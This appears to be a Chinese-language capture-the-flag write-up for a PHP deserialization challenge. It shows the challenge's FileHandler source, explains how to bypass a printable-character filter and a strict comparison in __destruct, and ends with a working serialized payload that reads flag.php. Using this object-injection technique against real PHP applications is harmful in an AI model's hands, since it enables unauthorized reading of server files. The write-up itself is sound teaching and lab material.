如下为题目源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
通过分析如下代码:
传入的参数名: str, str为需要进行反序列的字符串,同时对字符串存在过滤操作。由于protected 属性的成员变量在进行序列化时会存在%00 和* 等 ASCII 值小于 32,因此只能通过修改属性为 public 进行绕过,这是PHP7.1+ 对成员变量属性解析不敏感导致的。
为什么需要绕过
public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
如下是序列化后为了区分成员变量属性添加的额外字符
<?php
class Test
{
public $sex = "man";
private $name = "mario";
protected $age = "18";
}
$t=new Test();
print_r(serialize($t));
通过查看数据包,发现php版本符合绕过条件
分析函数调用过程
unserialize -> __destruct -> process -> read
同时设置 op =2 filename=flag.php
同时注意到由于执行unserialize 时不会调用__construct,但结束时会调用__destruct 方法。
__destruct 方法会将字符 op==="2"改变为 op="1",同时发现此时是强等于,必须类型也为字符型才行,如果 将op 设置为数字型 2,就不会被替换
<?php
$a = 2;
var_dump($a === "2");
var_dump($a == "2");
//bool(false)
//bool(true)
删除不必要的代码,然后对成员变量进行序列化
<?php
class FileHandler {
public $op=2;
public $filename="flag.php";
public $content;
}
$obj = new FileHandler();
echo serialize($obj);
?>
//输出 O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
查看网页源码得到flag